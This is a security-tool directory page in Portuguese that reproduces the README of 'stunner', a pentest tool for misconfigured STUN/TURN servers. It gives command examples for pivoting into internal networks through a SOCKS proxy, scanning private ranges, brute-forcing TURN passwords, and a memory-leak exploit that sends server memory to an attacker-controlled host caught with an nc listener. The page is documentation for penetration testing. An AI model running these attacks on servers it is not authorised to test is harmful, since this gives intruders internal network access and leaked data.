Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
stunner — Testar e explorar servidores STUN/TURN por configurações incorretas, permitindo o pivoteamento de rede interna via proxy SOCKS, ataques de vazamento de memória e varredura de portas internas. | Kitploit
Ferramentas/GitHubGitHub/firefart/stunner
Análise de VulnerabilidadesExploraçãoSegurança de RedeTestes de PenetraçãoConfiguração IncorretaRed Teaming
GitHubfirefart/stunner

stunner

Testar e explorar servidores STUN/TURN por configurações incorretas, permitindo o pivoteamento de rede interna via proxy SOCKS, ataques de vazamento de memória e varredura de portas internas.

Ver Repositório
85746há 1 diaRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

STUNNER

Stunner é uma ferramenta para testar e explorar servidores STUN, TURN e TURN sobre TCP. TURN é um protocolo usado principalmente em videoconferências e chats de áudio (WebRTC).

Se você encontrar um servidor mal configurado, pode usar esta ferramenta para abrir um proxy socks local que retransmite todo o tráfego via protocolo TURN para a rede interna atrás do servidor.

Desenvolvi esta ferramenta durante um teste do Cisco Expressway, que resultou em algumas vulnerabilidades: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/

Para obter o nome de usuário e senha necessários, você precisa buscá-los usando um método fora de banda, como farejar a solicitação Connect de um navegador web com Burp. Adicionei um exemplo de fluxo de trabalho no final do readme sobre como você testaria tal servidor.

LICENÇA

Este trabalho está licenciado sob a Licença Creative Commons Atribuição-NãoComercial-CompartilhaIgual 4.0 Internacional. Para visualizar uma cópia desta licença, visite http://creativecommons.org/licenses/by-nc-sa/4.0/ ou envie uma carta para Creative Commons, PO Box 1866, Mountain View, CA 94042, EUA.

RFCs implementados

STUN: RFC 5389

TURN: RFC 5766

TURN para TCP: RFC 6062

Extensão do TURN para IPv6: RFC 6156

Comandos Disponíveis

info

Este comando exibirá algumas informações sobre o servidor stun ou turn, como protocolos suportados e atributos, como o software utilizado.

Opções

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--timeout value               connect timeout to turn server (default: 1s)
--help, -h                    show help (default: false)

Exemplo

root@kitploit:~
./stunner info -s x.x.x.x:443

range-scan

Este comando tenta várias faixas privadas e restritas para ver se o servidor TURN está configurado para permitir conexões aos endereços IP especificados. Se uma faixa específica não for proibida, você pode enumerar essa faixa com os outros comandos fornecidos. Se um IP for alcançável, significa que o servidor TURN encaminhará tráfego para este IP.

Opções

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--help, -h                    show help (default: false)

Exemplo

Conexão TURN baseada em TCP (conexão sua para o servidor TURN):

root@kitploit:~
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp

Conexão TURN baseada em UDP (conexão sua para o servidor TURN):

root@kitploit:~
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp

socks

Este é um dos comandos mais úteis para servidores TURN que suportam conexões TCP para servidores de backend. Ele iniciará um servidor socks5 local sem autenticação e retransmitirá todo o tráfego TCP através do protocolo TURN (UDP via SOCKS não é suportado atualmente). Se o servidor estiver mal configurado, ele encaminhará o tráfego para endereços internos, então isso pode ser usado para alcançar sistemas internos e abusar do servidor como um proxy para a rede interna. Se você optar por também fazer consultas DNS via socks, elas serão resolvidas usando seu servidor de nomes local, portanto é melhor trabalhar com endereços IPv4 e IPv6 privados. Esteja ciente de que este módulo só pode retransmitir tráfego TCP.

Opções

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--listen value, -l value      Address and port to listen on (default: "127.0.0.1:1080")
--drop-public, -x             Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
--help, -h                    show help (default: false)

Exemplo

root@kitploit:~
./stunner socks -s x.x.x.x:3478 -u username -p password -x

Após iniciar o proxy, abra seu navegador, aponte o proxy nas configurações para socks5 com um IP de 127.0.0.1:1080 (certifique-se de não marcar a opção de ignorar endereço local, pois queremos alcançar os endereços locais remotos) e chame o IP de sua escolha no navegador.

Exemplo: https://127.0.0.1, https://127.0.0.1:8443 ou https://[::1]:8443 (esses chamarão as portas no servidor TURN testado a partir das interfaces locais).

Você também pode configurar proxychains para usar este proxy (mas será muito lento, pois cada requisição resulta em múltiplas requisições para habilitar o proxy). Basta editar /etc/proxychains.conf e inserir o valor socks5 127.0.0.1 1080 em ProxyList.

Exemplo de nmap através deste proxy socks5 com proxychains configurado corretamente (note que é -sT para fazer TCP syn, caso contrário não usará o proxy socks5)

root@kitploit:~
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1

brute-transports

Provavelmente não produzirá informações úteis, mas pode ser útil para enumerar todos os transportes disponíveis (=protocolos para sistemas internos) suportados pelo servidor. Isso pode mostrar algumas implementações de protocolo personalizadas, mas na maioria das vezes retornará apenas os padrões.

Opções

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--help, -h                    show help (default: false)

Exemplo

root@kitploit:~
./stunner brute-transports -s x.x.x.x:3478 -u username -p password

brute-password

Este comando tenta todas as senhas de um arquivo fornecido para um nome de usuário através do protocolo TURN (UDP). Isso pode ser útil ao analisar um pcap onde você pode ver o nome de usuário, mas não a senha. Observe que uma força bruta offline é muito mais rápida neste caso.

Opções

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--passfile value, -p value    passwordfile to use for bruteforce
--help, -h                    show help (default: false)

Exemplo

root@kitploit:~
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt

memoryleak

Este ataque funciona da seguinte forma: O servidor pega os dados para enviar ao target (deve ser uma porta alta > 1024 na maioria dos casos) como um TLV (Type Length Value). Este exploit usa um grande comprimento com um valor curto. Se o servidor não verificar os limites do TLV, ele pode enviar alguma memória até o length para o target. O Cisco Expressway foi confirmado vulnerável a isso, mas de acordo com a Cisco, ele apenas vazou memória da sessão atual.

Opções

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--target value, -t value      Target to leak memory to in the form host:port. Should be a public server under your control
--size value                  Size of the buffer to leak (default: 35510)
--help, -h                    show help (default: false)

Exemplo

Para receber os dados, precisamos configurar um receptor em um servidor com IP público. Normalmente, firewalls são configurados para permitir apenas portas altas (>1024) de servidores TURN, portanto, certifique-se de usar uma porta alta como 8080 neste exemplo ao conectar-se à internet.

root@kitploit:~
sudo nc -u -l -n -v -p 8080 | hexdump -C

então execute a seguinte instrução em sua máquina adicionando o IP público ao parâmetro t

root@kitploit:~
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password

Se funcionar, você deve ver grandes cargas de memória chegando; caso contrário, verá apenas mensagens curtas.

udp-scanner

Se um servidor TURN permitir conexões UDP para destinos internos, este scanner pode ser usado para escanear todas as faixas de IP privadas e enviar requisições SNMP e DNS para elas. Como isso verifica muitos IPs, pode levar vários dias para ser concluído, então use com cautela ou especifique destinos menores através dos parâmetros. Você precisa fornecer uma string de comunidade SNMP que será tentada e um nome de domínio que será resolvido em cada IP. Para o nome de domínio, você pode usar, por exemplo, burp collaborator.

Opções

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--community-string value      SNMP community string to use for scanning (default: "public")
--domain value                domain name to resolve on internal DNS servers during scanning
--ip value                    Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format.  (accepts multiple inputs)
--help, -h                    show help (default: false)

Exemplo

root@kitploit:~
./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8  --domain domain.you.control.com --community-string public

tcp-scanner

Igual ao udp-scanner, mas envia requisições HTTP para as portas especificadas (HTTPS não é suportado)

Opções

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--ports value                 Ports to check (default: "80,443,8080,8081")
--ip value                    Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format.  (accepts multiple inputs)
--help, -h                    show help (default: false)

Exemplo

root@kitploit:~
./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8

Exemplo de fluxo de trabalho

Digamos que você encontre um serviço usando WebRTC e queira testá-lo.

O primeiro passo é obter os dados necessários. Sugiro iniciar o Wireshark em segundo plano e simplesmente entrar em uma reunião via Burp para coletar todo o tráfego HTTP e Websocket. Em seguida, pesquise no histórico do burp por algumas palavras-chave relacionadas ao TURN, como 3478, password, credential e username (certifique-se de verificar também a aba de websocket para essas palavras-chave). Isso pode revelar o servidor turn e o protocolo (endpoints UDP e TCP podem ter portas diferentes) e as credenciais usadas para conectar. Se você não encontrar os dados no burp, comece a olhar no wireshark para identificar o tráfego. Se estiver em uma porta não padrão (qualquer outra diferente de 3478), decodifique o protocolo no Wireshark com um clique direito como STUN. Isso deve mostrar o nome de usuário usado para conectar, e você pode usar essa informação para pesquisar ainda mais no histórico do burp pelos dados necessários. Observe que o Wireshark não pode mostrar a senha, pois a senha é usada para fazer hash de alguns conteúdos de pacotes, portanto não pode ser revertida.

O próximo passo seria emitir o comando info para o servidor turn usando a porta e o protocolo corretos obtidos do burp.

Se isso funcionar, o próximo passo é um range-scan. Se isso permitir tráfego para sistemas internos, você pode explorar isso ainda mais, mas esteja ciente de que o UDP tem apenas casos de uso limitados.

Se conexões TCP para sistemas internos forem permitidas, simplesmente execute o comando socks e acesse os IPs permitidos através de um navegador, definindo o proxy socks para 127.0.0.1:1080. Você pode testar 127.0.0.1:443 e outros IPs para encontrar interfaces de gerenciamento.

Baixar ferramenta